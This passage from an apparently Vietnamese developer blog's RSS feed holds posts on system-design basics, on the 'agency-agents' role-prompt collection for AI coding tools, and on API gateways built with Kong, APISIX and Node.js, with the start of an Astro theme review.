&lt;p&gt;Một distributed system chỉ có thể đáp ứng 2 trong 3:&lt;/p&gt;
&lt;p&gt;| Tính chất | Ý nghĩa |
|---|---|
| Consistency | Mọi node thấy cùng dữ liệu tại một thời điểm |
| Availability | Mọi request đều nhận được response (không nhất thiết là data mới nhất) |
| Partition Tolerance | Hệ thống vẫn hoạt động khi mạng bị chia cắt |&lt;/p&gt;
&lt;p&gt;Thực tế: Partition luôn xảy ra → bạn chọn CP hoặc AP:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CP (Consistency + Partition): Bank, payment — ưu tiên đúng hơn có&lt;/li&gt;
&lt;li&gt;AP (Availability + Partition): Social media, CDN — ưu tiên có hơn đúng&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Load Balancer&lt;/h2&gt;
&lt;p&gt;Phân phối request đến nhiều server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User → Load Balancer → [App Server 1]
                        [App Server 2]
                        [App Server 3]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Các thuật toán:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Round Robin — tuần tự&lt;/li&gt;
&lt;li&gt;Least Connections — server ít kết nối nhất&lt;/li&gt;
&lt;li&gt;IP Hash — cùng IP đến cùng server (session persistence)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Công cụ: Nginx, HAProxy, AWS ALB, Cloudflare Load Balancer&lt;/h3&gt;
&lt;h2&gt;Caching&lt;/h2&gt;
&lt;p&gt;Lưu dữ liệu hay dùng ở nơi truy xuất nhanh:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Client → CDN (static)
           ↓
Load Balancer → App Server → Cache (Redis) → Database
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Cache Strategy&lt;/h3&gt;
&lt;p&gt;Cache Aside (phổ biến nhất):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;async function getUser(id: number) {
  const cached = await redis.get(`user:${id}`);
  if (cached) return JSON.parse(cached);

  const user = await db.getUser(id);
  await redis.set(`user:${id}`, JSON.stringify(user), &apos;EX&apos;, 3600);
  return user;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Write Through — ghi DB xong, ghi luôn cache
Write Behind — ghi cache trước, async ghi DB sau&lt;/p&gt;
&lt;h3&gt;Cache Eviction&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;TTL — tự động xoá sau thời gian&lt;/li&gt;
&lt;li&gt;LRU — xoá cái ít dùng nhất&lt;/li&gt;
&lt;li&gt;LFU — xoá cái dùng ít nhất&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Database Scaling&lt;/h2&gt;
&lt;h3&gt;Read Replicas&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Write → Primary DB
Read  → [Replica 1] [Replica 2] [Replica 3]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Sharding — Chia Dữ Liệu Ngang&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Shard 1: user_id 1-10000
Shard 2: user_id 10001-20000
Shard 3: user_id 20001-30000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cách shard:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hash-based — &lt;code&gt;shard = hash(user_id) % N&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Range-based — theo khoảng giá trị&lt;/li&gt;
&lt;li&gt;Directory-based — lookup table&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sharding Key — Quan Trọng Nhất&lt;/h3&gt;
&lt;p&gt;Chọn key sai → một shard quá tải (hotspot), các shard khác rảnh.&lt;/p&gt;
&lt;h2&gt;Message Queue&lt;/h2&gt;
&lt;p&gt;Xử lý bất đồng bộ, giảm tải cho server:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;App → Queue (RabbitMQ/Kafka) → [Worker 1]
                                [Worker 2]
                                [Worker 3]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lợi ích:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Decoupling — producer không cần biết consumer&lt;/li&gt;
&lt;li&gt;Buffering — chịu được traffic spike&lt;/li&gt;
&lt;li&gt;Retry — nếu worker fail, message quay lại queue&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Rate Limiting&lt;/h2&gt;
&lt;p&gt;Bảo vệ hệ thống khỏi abuse:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Token Bucket với Redis
async function checkRateLimit(userId: string, limit: number, windowSec: number) {
  const key = `ratelimit:${userId}`;
  const current = await redis.incr(key);

  if (current === 1) {
    await redis.expire(key, windowSec);
  }

  if (current &gt; limit) {
    throw new Error(&apos;Rate limit exceeded&apos;);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Monitoring &amp;#x26; Observability&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Metrics (Prometheus) → Grafana
Logs (ELK/Loki)
Tracing (Jaeger/Tempo)
Alerts (PagerDuty/Slack)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;RED Method (Microservices)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Rate — requests/second&lt;/li&gt;
&lt;li&gt;Errors — số lỗi&lt;/li&gt;
&lt;li&gt;Duration — thời gian xử lý&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Ví Dụ — Thiết Kế URL Shortener&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Yêu cầu: Tạo short link, redirect, analytics
Traffic: 100M URLs/month, 1000 writes/sec, 10K reads/sec

Design:
1. Load Balancer → Nginx
2. App Server → Stateless, auto-scale
3. Cache → Redis (hot URLs), TTL 24h
4. DB → PostgreSQL, shard by hash(short_code)
5. Queue → Kafka cho analytics (async)
6. ID Generation → Snowflake (Twitter) cho unique ID

Storage:
- 100M URLs × 1KB = 100GB → 3 shard, mỗi shard 35GB
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Checklist Phỏng Vấn System Design&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Hiểu yêu cầu — functional vs non-functional&lt;/li&gt;
&lt;li&gt;Tính toán — traffic, storage, bandwidth&lt;/li&gt;
&lt;li&gt;Data model — schema, database&lt;/li&gt;
&lt;li&gt;High-level design — components, diagram&lt;/li&gt;
&lt;li&gt;Deep dive — từng component chi tiết&lt;/li&gt;
&lt;li&gt;Bottleneck — single point of failure, scale&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;System design không phải &quot;đáp án đúng&quot; — nó là trade-off. Cache hay không cache? Queue hay sync? SQL hay NoSQL? Câu trả lời luôn là: &quot;It depends&quot;. Học cách phân tích trade-off là kỹ năng quan trọng nhất.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.ibm.com/think/cap-theorem&quot;&gt;CAP Theorem Explained&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/donnemartin/system-design-primer&quot;&gt;System Design Primer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://martinfowler.com/articles/microservices.html&quot;&gt;Martin Fowler — Microservices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/latest/&quot;&gt;Redis Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.nginx.com/nginx/admin-guide/load-balancer/&quot;&gt;Nginx Load Balancing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Agency Agents — Biến AI Thành Một Team Chuyên Gia Ảo</title><link>https://dopana-blog.pages.dev/blog/agency-agents</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/agency-agents</guid><description>Agency Agents là bộ sưu tập prompt AI agent chuyên biệt — Backend Architect, DevOps, PM, Security. Biến Claude Code, Cursor thành team startup.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;agency-agents là bộ sưu tập các AI agent chuyên biệt, mỗi agent đóng vai trò như một &quot;nhân sự&quot; trong công ty ảo. Thay vì hỏi AI kiểu chung chung, bạn gọi đúng chuyên gia: &lt;code&gt;Activate Backend Architect&lt;/code&gt; — AI chuyển sang vai trò chuyên sâu.&lt;/p&gt;
&lt;p&gt;Nó giống như bạn thuê một team:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CEO
 ├── Product Manager
 ├── Frontend Developer
 ├── Backend Architect
 ├── DevOps Engineer
 ├── Security Engineer
 └── QA Engineer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;tất cả đều chạy bằng AI.&lt;/p&gt;
&lt;h2&gt;Vấn Đề Repo Này Giải Quyết&lt;/h2&gt;
&lt;p&gt;AI hiện tại thường trả lời chung chung, không có chuyên môn cố định, mỗi lần hỏi phải giải thích lại context, chất lượng không ổn định, không có quy trình.&lt;/p&gt;
&lt;p&gt;Ví dụ hỏi &quot;Thiết kế database cho SaaS&quot;, AI thường trả lời bảng users, products — nhưng Backend Architect thực sự sẽ nghĩ về scaling, indexing, multi-tenancy, migration strategy, failure cases, security.&lt;/p&gt;
&lt;p&gt;Repo này biến AI từ general assistant thành specialist team member.&lt;/p&gt;
&lt;h2&gt;Agent Trong Repo Này Là Gì?&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Agent = Persona + Knowledge + Workflow + Rules
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ví dụ Frontend Developer agent:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Identity:    You are a senior frontend engineer.
Mission:     Build performant user interfaces.
Rules:       Prioritize accessibility, Core Web Vitals, clean components.
Workflow:    Analyze → Design → Implement → Review performance
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Khi AI đọc file này, nó &quot;đóng vai&quot; — không còn trả lời chatbot chung.&lt;/p&gt;
&lt;h2&gt;Cấu Trúc Một Agent&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Identity — AI là ai? &quot;You are a senior backend architect with 15 years experience.&quot;&lt;/li&gt;
&lt;li&gt;Core Mission — Agent tồn tại để làm gì.&lt;/li&gt;
&lt;li&gt;Critical Rules — Luật làm việc (không suggest DB không bàn scale, luôn mention trade-offs).&lt;/li&gt;
&lt;li&gt;Technical Deliverables — Output cụ thể (schema, migration, index strategy, API design).&lt;/li&gt;
&lt;li&gt;Workflow — Quy trình (Requirement → Architecture → Implementation → Review → Optimization).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Các Nhóm Agent&lt;/h2&gt;
&lt;p&gt;Engineering Division:&lt;/p&gt;
&lt;p&gt;| Agent | Dùng khi |
|---|---|
| Frontend Developer | React, Vue, UI, performance, component architecture |
| Backend Architect | API, database, microservices, scaling |
| DevOps Automator | CI/CD, Docker, K8s, cloud deploy |
| Security Engineer | Auth, permission, injection, secret management |&lt;/p&gt;
&lt;p&gt;Product Division:&lt;/p&gt;
&lt;p&gt;| Agent | Dùng khi |
|---|---|
| Product Manager | Viết PRD, roadmap, feature priority, user persona |&lt;/p&gt;
&lt;p&gt;Testing Division:&lt;/p&gt;
&lt;p&gt;| Agent | Dùng khi |
|---|---|
| Reality Checker | Kiểm tra proof, production readiness |
| Evidence Collector | Screenshot, test evidence, QA proof |&lt;/p&gt;
&lt;h2&gt;Ví Dụ Workflow&lt;/h2&gt;
&lt;p&gt;Giả sử bạn muốn làm SaaS:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Product Manager — Define MVP, user persona, feature list&lt;/li&gt;
&lt;li&gt;UX Designer — Design flow (login, dashboard, task creation)&lt;/li&gt;
&lt;li&gt;Backend Architect — Database schema, API design, scaling&lt;/li&gt;
&lt;li&gt;Frontend Developer — Components, state management, API integration&lt;/li&gt;
&lt;li&gt;Security Engineer — Review auth, permission, data leakage&lt;/li&gt;
&lt;li&gt;QA — Verify tests, screenshots, edge cases&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Kết quả: AI giống một team startup.&lt;/p&gt;
&lt;h2&gt;Dùng Với Tool Nào?&lt;/h2&gt;
&lt;p&gt;Hỗ trợ Claude Code, GitHub Copilot, Cursor, OpenCode, Aider, Windsurf, Gemini CLI, OpenClaw.&lt;/p&gt;
&lt;p&gt;Ví dụ với Claude Code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cp engineering/*.md ~/.claude/agents/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó trong Claude Code: &lt;code&gt;Use Backend Architect agent, design my API&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Khác Gì Prompt Thường?&lt;/h2&gt;
&lt;p&gt;Prompt thường: &quot;Bạn là developer giỏi. Viết API.&quot; — AI không biết workflow, output format, tiêu chuẩn.&lt;/p&gt;
&lt;p&gt;Agent có cấu trúc: Identity + Workflow + Rules + Deliverables — tạo consistency.&lt;/p&gt;
&lt;h2&gt;Điểm Mạnh&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Thực dụng — Copy, install, use. Không lý thuyết AI.&lt;/li&gt;
&lt;li&gt;Dễ customize — Tự tạo agent cho công ty riêng (Vietnam Startup CTO Agent, ưu tiên Laravel + PostgreSQL).&lt;/li&gt;
&lt;li&gt;Hợp solo developer — Một người có AI CTO, AI Designer, AI Tester, AI Marketer.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Điểm Yếu&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Không thay thế skill — Bạn cần review output. Nếu không biết backend, Backend Architect vẫn có thể sai.&lt;/li&gt;
&lt;li&gt;Quá nhiều agent gây rối — 1 Senior Developer Agent tốt hơn 10 agent tranh luận.&lt;/li&gt;
&lt;li&gt;Context cost — Mỗi agent thêm instruction, rules, examples → tốn token hơn.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;agency-agents biến AI từ &quot;chatbot biết code&quot; thành &quot;team chuyên gia AI có vai trò rõ ràng&quot;. Hợp với solo developer, startup, làm MVP nhanh, dùng Claude Code / Cursor / OpenCode.&lt;/p&gt;
&lt;p&gt;Bản chất là prompt engineering + role specialization — không phải multi-agent AI tự trị. Nhưng với workflow đúng, nó cực kỳ hiệu quả.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/agency-agents/agency-agents&quot;&gt;agency-agents GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code&quot;&gt;Claude Code Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://opencode.ai/docs&quot;&gt;OpenCode Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.cursor.com&quot;&gt;Cursor IDE Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/build-with-claude/prompt-engineering&quot;&gt;Anthropic Prompt Engineering Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>API Gateway — Kong, APISIX, Custom Gateway Với Node.js</title><link>https://dopana-blog.pages.dev/blog/api-gateway</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/api-gateway</guid><description>Thiết kế và triển khai API Gateway: Kong, APISIX, custom gateway — routing, rate limiting, auth, transformation.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;API Gateway là entry point duy nhất cho tất cả client — routing, auth, rate limiting, transformation tập trung tại một chỗ.&lt;/p&gt;
&lt;h2&gt;Gateway Làm Gì?&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;Client → API Gateway
            ├── /api/users → users-service
            ├── /api/orders → orders-service
            ├── /api/products → products-service
            └── /graphql → graphql-service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chức năng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Routing — chuyển request đến service đúng&lt;/li&gt;
&lt;li&gt;Authentication — xác thực trước khi vào internal&lt;/li&gt;
&lt;li&gt;Rate limiting — bảo vệ backend&lt;/li&gt;
&lt;li&gt;Transformation — đổi format request/response&lt;/li&gt;
&lt;li&gt;Caching — cache response cho GET request&lt;/li&gt;
&lt;li&gt;Monitoring — collect metrics và logs&lt;/li&gt;
&lt;li&gt;Load balancing — phân phối đến nhiều instances&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kong Gateway&lt;/h2&gt;
&lt;p&gt;Kong là open-source API gateway phổ biến nhất — dùng Nginx core.&lt;/p&gt;
&lt;h3&gt;Docker Compose&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;services:
  kong:
    image: kong:latest
    environment:
      KONG_DATABASE: postgres
      KONG_PG_HOST: kong-database
    ports:
      - &quot;8000:8000&quot;   # Proxy
      - &quot;8001:8001&quot;   # Admin API
      - &quot;8443:8443&quot;   # Proxy HTTPS
    depends_on:
      - kong-database

  kong-database:
    image: postgres:16-alpine
    environment:
      POSTGRES_USER: kong
      POSTGRES_DB: kong
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Config Routes&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Add service
curl -X POST http://localhost:8001/services \
  --data name=users-service \
  --data url=http://users-container:3000

# Add route
curl -X POST http://localhost:8001/services/users-service/routes \
  --data paths[]=/api/users \
  --data methods[]=GET \
  --data methods[]=POST

# Enable rate limiting plugin
curl -X POST http://localhost:8001/services/users-service/plugins \
  --data name=rate-limiting \
  --data config.minute=100 \
  --data config.policy=local

# Enable auth plugin (JWT)
curl -X POST http://localhost:8001/services/users-service/plugins \
  --data name=jwt
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;APISIX — Modern, Fast&lt;/h2&gt;
&lt;p&gt;APISIX dùng Lua (OpenResty), nhanh hơn Kong ở nhiều benchmark.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;services:
  apisix:
    image: apache/apisix:latest
    ports:
      - &quot;9080:9080&quot;  # HTTP
      - &quot;9443:9443&quot;  # HTTPS
    volumes:
      - ./apisix.yaml:/usr/local/apisix/conf/config.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# apisix.yaml
routes:
  - uri: /api/users/*
    upstream:
      nodes:
        &quot;users-service:3000&quot;: 1

  - uri: /api/orders/*
    upstream:
      nodes:
        &quot;orders-service:3000&quot;: 1
    plugins:
      jwt-auth: ~
      limit-count:
        count: 100
        time_window: 60
      prometheus: ~
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Custom Gateway — Node.js + Express&lt;/h2&gt;
&lt;p&gt;Khi công cụ có sẵn không đáp ứng — tự viết gateway:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import express from &apos;express&apos;;
import { createProxyMiddleware } from &apos;http-proxy-middleware&apos;;
import rateLimit from &apos;express-rate-limit&apos;;
import Redis from &apos;ioredis&apos;;

const app = express();
const redis = new Redis();

// Global middleware
app.use(helmet());
app.use(cors({ origin: [&apos;https://myapp.com&apos;] }));

// Auth middleware
async function authenticate(req: Request, res: Response, next: NextFunction) {
  const token = req.headers.authorization?.split(&apos;Bearer &apos;)[1];
  if (!token) {
    return res.status(401).json({ error: &apos;Missing token&apos; });
  }

  // Verify với auth service
  const user = await verifyToken(token);
  if (!user) {
    return res.status(401).json({ error: &apos;Invalid token&apos; });
  }

  req.user = user;
  next();
}

// Rate limit dựa trên API key
app.use(&apos;/api&apos;, rateLimit({
  keyGenerator: (req) =&gt; req.headers[&apos;x-api-key&apos;] as string || req.ip,
  windowMs: 60_000,
  max: 100,
}));

// Route to services
const services = {
  users: &apos;http://users-service:3000&apos;,
  orders: &apos;http://orders-service:3000&apos;,
  products: &apos;http://products-service:3000&apos;,
  notifications: &apos;http://notifications-service:3000&apos;,
};

Object.entries(services).forEach(([name, target]) =&gt; {
  app.use(`/api/${name}`, authenticate, createProxyMiddleware({
    target,
    changeOrigin: true,
    onProxyReq: (proxyReq, req) =&gt; {
      // Forward user info
      proxyReq.setHeader(&apos;X-User-Id&apos;, req.user.id);
      proxyReq.setHeader(&apos;X-User-Role&apos;, req.user.role);
    },
    onError: (err, req, res) =&gt; {
      logger.error({ err, service: name }, &apos;Proxy error&apos;);
      res.status(502).json({ error: `${name} service unavailable` });
    },
  }));
});

// Circuit breaker pattern
class CircuitBreakerProxy {
  private failures = 0;
  private state: &apos;closed&apos; | &apos;open&apos; = &apos;closed&apos;;

  async proxy(req: Request, res: Response, target: string) {
    if (this.state === &apos;open&apos;) {
      return res.status(503).json({ error: &apos;Service circuit open&apos; });
    }

    try {
      await proxyRequest(req, res, target);
      this.failures = 0;
    } catch {
      this.failures++;
      if (this.failures &gt;= 5) {
        this.state = &apos;open&apos;;
        setTimeout(() =&gt; { this.state = &apos;closed&apos;; this.failures = 0; }, 30000);
      }
      throw;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Response Aggregation&lt;/h2&gt;
&lt;p&gt;Gateway gộp response từ nhiều service:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;app.get(&apos;/api/dashboard&apos;, authenticate, async (req, res) =&gt; {
  try {
    const [user, orders, notifications] = await Promise.all([
      fetch(`http://users-service:3000/users/${req.user.id}`).then(r =&gt; r.json()),
      fetch(`http://orders-service:3000/orders?userId=${req.user.id}&amp;#x26;limit=5`).then(r =&gt; r.json()),
      fetch(`http://notifications-service:3000/notifications?userId=${req.user.id}`).then(r =&gt; r.json()),
    ]);

    res.json({
      user: { id: user.id, name: user.name, email: user.email },
      recentOrders: orders,
      unreadNotifications: notifications.filter(n =&gt; !n.read).length,
    });
  } catch (err) {
    // Partial failure — trả về những gì có
    res.json({
      user: user || null,
      recentOrders: orders || [],
      unreadNotifications: 0,
      _degraded: true,
    });
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Gateway với GraphQL Federation&lt;/h2&gt;
&lt;p&gt;Gateway GraphQL hợp nhất nhiều GraphQL service:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { ApolloGateway, IntrospectAndCompose } from &apos;@apollo/gateway&apos;;
import { ApolloServer } from &apos;@apollo/server&apos;;

const gateway = new ApolloGateway({
  supergraphSdl: new IntrospectAndCompose({
    subgraphs: [
      { name: &apos;users&apos;, url: &apos;http://users-service:4001/graphql&apos; },
      { name: &apos;orders&apos;, url: &apos;http://orders-service:4002/graphql&apos; },
      { name: &apos;reviews&apos;, url: &apos;http://reviews-service:4003/graphql&apos; },
    ],
  }),
});

const server = new ApolloServer({ gateway });
await server.listen({ port: 4000 });
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Caching Trong Gateway&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Cache response trong Redis
app.get(&apos;/api/products/*&apos;, async (req, res) =&gt; {
  const cacheKey = `gateway:${req.originalUrl}`;

  const cached = await redis.get(cacheKey);
  if (cached) {
    return res.json(JSON.parse(cached));
  }

  // Forward to service
  const response = await fetch(`http://products-service:3000${req.path}`);
  const data = await response.json();

  // Cache 5 phút
  await redis.setex(cacheKey, 300, JSON.stringify(data));

  res.json(data);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Monitoring&lt;/h2&gt;
&lt;p&gt;Gateway là nơi lý tưởng để collect metrics:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const requestCounter = new prometheus.Counter({
  name: &apos;gateway_requests_total&apos;,
  help: &apos;Total requests&apos;,
  labelNames: [&apos;service&apos;, &apos;method&apos;, &apos;status&apos;],
});

const requestDuration = new prometheus.Histogram({
  name: &apos;gateway_request_duration_seconds&apos;,
  help: &apos;Request duration&apos;,
  labelNames: [&apos;service&apos;],
  buckets: [0.01, 0.05, 0.1, 0.5, 1, 2],
});

app.use((req, res, next) =&gt; {
  const start = Date.now();
  res.on(&apos;finish&apos;, () =&gt; {
    const service = req.path.split(&apos;/&apos;)[2] || &apos;unknown&apos;;
    requestCounter.inc({ service, method: req.method, status: res.statusCode });
    requestDuration.observe({ service }, (Date.now() - start) / 1000);
  });
  next();
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;| Giải pháp | Khi nào dùng |
|---|---|
| Kong | Cần mature, nhiều plugin |
| APISIX | Cần performance cao |
| Custom Node.js | Cần logic phức tạp |
| GraphQL Federation | GraphQL microservices |
| Cloudflare API Gateway | Edge gateway |&lt;/p&gt;
&lt;p&gt;Gateway không phải &quot;nice to have&quot; — nó essential cho microservices. Tập trung auth, rate limiting, routing tại gateway giúp service đơn giản hơn, tập trung vào business logic.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.konghq.com/&quot;&gt;Kong Gateway Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://apisix.apache.org/docs/apisix/getting-started/&quot;&gt;Apache APISIX Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/chimurai/http-proxy-middleware&quot;&gt;http-proxy-middleware&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.apollographql.com/docs/federation/&quot;&gt;Apollo GraphQL Federation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://express-rate-limit.mintlify.app/&quot;&gt;express-rate-limit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/siimon/prom-client&quot;&gt;Prometheus Client for Node.js&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>AntfuStyle Theme — Astro Theme Cho Developer Và Creator</title><link>https://dopana-blog.pages.dev/blog/astro-antfustyle-theme</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/astro-antfustyle-theme</guid><description>AntfuStyle là Astro theme đẹp, giàu tính năng — markdown, math, search, gallery, GitHub integration, animated background, và hơn thế.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Khi xây dựng blog cá nhân với Astro, việc chọn theme phù hợp quyết định cả trải nghiệm viết lẫn trải nghiệm đọc. Astro AntfuStyle Theme là một lựa chọn đáng chú ý — lấy cảm hứng từ phong cách tối giản của &lt;a href=&quot;https://antfu.me&quot;&gt;antfu.me&lt;/a&gt;, nhưng mở rộng thành một theme đầy đủ tính năng cho developer và creator.&lt;/p&gt;
&lt;h2&gt;Tổng Quan&lt;/h2&gt;
&lt;p&gt;AntfuStyle là Astro theme mã nguồn mở (MIT) bởi Stephanie Lin, chạy trên Astro 5 với zero UI framework — không React, không Vue, không Svelte. Mọi thứ đều là Astro component thuần, giúp output nhẹ và performance cao.&lt;/p&gt;
&lt;h2&gt;Tính Năng Nổi Bật&lt;/h2&gt;
&lt;h3&gt;Infrastructure&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Zero UI Framework — Không runtime JS nặng&lt;/li&gt;
&lt;li&gt;SEO-Friendly — Meta tags, OG image động, sitemap&lt;/li&gt;
&lt;li&gt;RSS Feed — Tự động sinh&lt;/li&gt;
&lt;li&gt;Responsive Images — Tối ưu tự động&lt;/li&gt;
&lt;li&gt;Subpath Deployment — Hỗ trợ deploy ở subpath&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Content&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Markdown &amp;#x26; MDX — Cả hai định dạng&lt;/li&gt;
&lt;li&gt;Math Equations — KaTeX render&lt;/li&gt;
&lt;li&gt;Callouts — GFM alerts (tip, warning, danger)&lt;/li&gt;
&lt;li&gt;Code Highlighting — Shiki với annotations&lt;/li&gt;
&lt;li&gt;Remark Directives — Custom directive có sẵn&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;UX&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Dark Mode — Toggle sáng/tối&lt;/li&gt;
&lt;li&gt;View Transitions — Mượt mà khi chuyển trang&lt;/li&gt;
&lt;li&gt;Search — Tích hợp sẵn&lt;/li&gt;
&lt;li&gt;TOC — Mục lục trên mọi thiết bị&lt;/li&gt;
&lt;li&gt;Tag Filtering — Lọc bài viết theo tag&lt;/li&gt;
&lt;li&gt;Image Zoom — Click phóng to ảnh&lt;/li&gt;
&lt;li&gt;Giscus Comments — Bình luận qua GitHub Discussions&lt;/li&gt;
&lt;li&gt;Loading Progress — Thanh tiến trình khi load trang&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Tính Năng Đặc Biệt&lt;/h3&gt;
